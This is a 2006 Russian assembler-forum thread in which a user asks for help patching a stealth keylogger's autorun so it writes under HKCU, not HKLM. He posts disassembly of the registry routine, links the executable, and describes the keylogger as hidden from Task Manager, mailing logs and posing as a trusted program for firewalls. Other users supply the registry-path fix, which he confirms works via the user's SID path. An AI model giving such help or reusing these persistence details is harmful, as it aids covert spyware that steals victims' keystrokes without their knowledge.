Помогите подправить прогу

Тема в разделе "WASM.ASSEMBLER", создана пользователем dagmat, 25 май 2006.

Статус темы:
Закрыта.
  1. dagmat

    dagmat New Member

    Публикаций:
    0
    Регистрация:
    22 май 2006
    Сообщения:
    12
    Очень очень нужно апгрейд проге. Это не взлом я её честно купил. Кто поможет вознагражу материально (могу денежккой,могу поделится конфигуратором этой проги, а это собственно кейлоггер не видимый таске и в реестре с отсылкой на почту притворяющийся любой прогой для фаирвола, вобщем кульная вещь)



    А теперь собственно проблема

    Мне нужно чтобы моя прога прописывалась в авторан не в HKLM\software\microsoft...\run, а в ветке HKCU\software\microsoft...\run. (обусловлено правами доступа)

    Задача не тривиальна, как может показаться

    Вот участок кода в котором задаются параметры: путь, параметр, значение (примечания к коду)


    Код (Text):
    1.  
    2.  ;DS:[131446B6]=13144698 (proga.13144698), UNICODE "socketme.exe"
    3. 131412B5   . FF35 B6461413  PUSH DWORD PTR DS:[131446B6]
    4. 131412BB   . FF35 B2461413  PUSH DWORD PTR DS:[131446B2]
    5.  ;DS:[13144694]=1314467C (proga.1314467C), UNICODE " SpyForYou"  
    6. 131412C1   . FF35 94461413  PUSH DWORD PTR DS:[13144694]
    7. 131412C7   . FF35 90461413  PUSH DWORD PTR DS:[13144690]
    8.  ;DS:[13144678]=131445F4 (proga.131445F4), UNICODE
    9.  ; "\Registry\Machine\Software\Microsoft\Windows\CurrentVers ion\Run"
    10. 131412CD   . FF35 78461413  PUSH DWORD PTR DS:[13144678]
    11. 131412D3   . FF35 74461413  PUSH DWORD PTR DS:[13144674]
    12. 131412D9   . E8 A3150000    CALL proga.13142881
    13.  




    Ну всё здесь нормально а вот дальше...
    Код (Text):
    1.  
    2. 13142881  /$ 55             PUSH EBP
    3. 13142882  |. 8BEC           MOV EBP,ESP
    4. 13142884  |. 51             PUSH ECX
    5. 13142885  |. 53             PUSH EBX
    6. 13142886  |. 8D0D 50471413  LEA ECX,DWORD PTR DS:[13144750]
    7. 1314288C  |. 33C0           XOR EAX,EAX
    8. 1314288E  |. C701 18000000  MOV DWORD PTR DS:[ECX],18
    9. 13142894  |. 8941 04        MOV DWORD PTR DS:[ECX+4],EAX
    10. 13142897  |. 8D5D 08        LEA EBX,DWORD PTR SS:[EBP+8]
    11. 1314289A  |. 53             PUSH EBX
    12. 1314289B  |. 8F41 08        POP DWORD PTR DS:[ECX+8]
    13. 1314289E  |. C741 0C 400000>MOV DWORD PTR DS:[ECX+C],40
    14. 131428A5  |. 8941 10        MOV DWORD PTR DS:[ECX+10],EAX
    15. 131428A8  |. 8941 14        MOV DWORD PTR DS:[ECX+14],EAX
    16. 131428AB  |. 68 84471413    PUSH proga.13144784
    17. 131428B0  |. 6A 00          PUSH 0
    18. 131428B2  |. 6A 00          PUSH 0
    19. 131428B4  |. 6A 00          PUSH 0
    20. 131428B6  |. 68 50471413    PUSH proga.13144750
    21. 131428BB  |. 68 3F000F00    PUSH 0F003F
    22. 131428C0  |. 68 88471413    PUSH proga.13144788
    23. 131428C5  |. FF15 74471413  CALL DWORD PTR DS:[13144774]
    24. 131428CB  |. 33C0           XOR EAX,EAX
    25. 131428CD  |. 66:8B45 1A     MOV AX,WORD PTR SS:[EBP+1A]
    26. 131428D1  |. 50             PUSH EAX
    27. 131428D2  |. FF75 1C        PUSH DWORD PTR SS:[EBP+1C]
    28. 131428D5  |. 6A 01          PUSH 1
    29. 131428D7  |. 6A 00          PUSH 0
    30. 131428D9  |. 8D5D 10        LEA EBX,DWORD PTR SS:[EBP+10]
    31. 131428DC  |. 53             PUSH EBX
    32. 131428DD  |. FF35 88471413  PUSH DWORD PTR DS:[13144788]
    33. 131428E3  |. FF15 70471413  CALL DWORD PTR DS:[13144770]
    34. 131428E9  |. A1 88471413    MOV EAX,DWORD PTR DS:[13144788]
    35. 131428EE  |. 5B             POP EBX
    36. 131428EF  |. 59             POP ECX
    37. 131428F0  |. C9             LEAVE
    38. 131428F1  \. C2 1800        RETN 18
    39.  
    40.  




    Вобщем я туплю, тем более что из ADVAPI32 используются только

    SetSecurityInfo

    SetEntriesInAclW

    GetSecurityInfo, то есть для записи в реестр нет



    Прикрепляю текстовый вариант проги в дебаггере, сорцев нет



    Помогите пожалуйста!
     
  2. dagmat

    dagmat New Member

    Публикаций:
    0
    Регистрация:
    22 май 2006
    Сообщения:
    12
  3. dagmat

    dagmat New Member

    Публикаций:
    0
    Регистрация:
    22 май 2006
    Сообщения:
    12
    если у кого то возникли мысли исправить \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run на registry\user\software... пробовал нифига и current_user и HKCU...
     
  4. rmn

    rmn Well-Known Member

    Публикаций:
    0
    Регистрация:
    23 ноя 2004
    Сообщения:
    2.348




    то, что Reg*-функций нет в импорте еще не значит, что они не используются :)







    а \Registry\User\Software... не пробовал?
     
  5. PE_Kill

    PE_Kill New Member

    Публикаций:
    0
    Регистрация:
    16 янв 2006
    Сообщения:
    107
    Так HKCU это же числовая константа...
     
  6. dagmat

    dagmat New Member

    Публикаций:
    0
    Регистрация:
    22 май 2006
    Сообщения:
    12
    rmn пробовал User\Software ничего



    PE_Kill, поподробней пожалуйста...Это ты про 80000001h?

    Где их искать, в адресе, стеке, может регистрах
     
  7. dagmat

    dagmat New Member

    Публикаций:
    0
    Регистрация:
    22 май 2006
    Сообщения:
    12
    Вот сам файл (не жатый)

    Поможет разобратся.

    Если вздумаете запускать, удаление этого кейлоггера с помощью ctrl+alt+F12, лог он собирает на диске С, отправляет от имени IE

    [​IMG] _1211672842__proga.exe
     
  8. flankerx

    flankerx New Member

    Публикаций:
    0
    Регистрация:
    2 июл 2004
    Сообщения:
    423
    Адрес:
    Moscow, Russia
    Программа создает ключ в реестре с помощью недокументированной функции NtCreateKey() (см. ZwCreateKey).



    Судя по MSDN'у, с помощью ZwCreateKey() добраться до HKEY_CURRENT_USER нельзя.



    В качестве еще одной попытки поробуй строчку

    "\Registry\User\CurrentUser", документированную в описании RtlCreateRegistryKey().
     
  9. dagmat

    dagmat New Member

    Публикаций:
    0
    Регистрация:
    22 май 2006
    Сообщения:
    12
    flankerx спасибо. Не знаешь ссылочку на хороший справочник по Api, чтоб с синтаксисом..?
     
  10. dagmat

    dagmat New Member

    Публикаций:
    0
    Регистрация:
    22 май 2006
    Сообщения:
    12
    Всем спасибо разобрался. Registry\User\SID текущего пользователя!!!



    Назрел другой вопрос...
     
Статус темы:
Закрыта.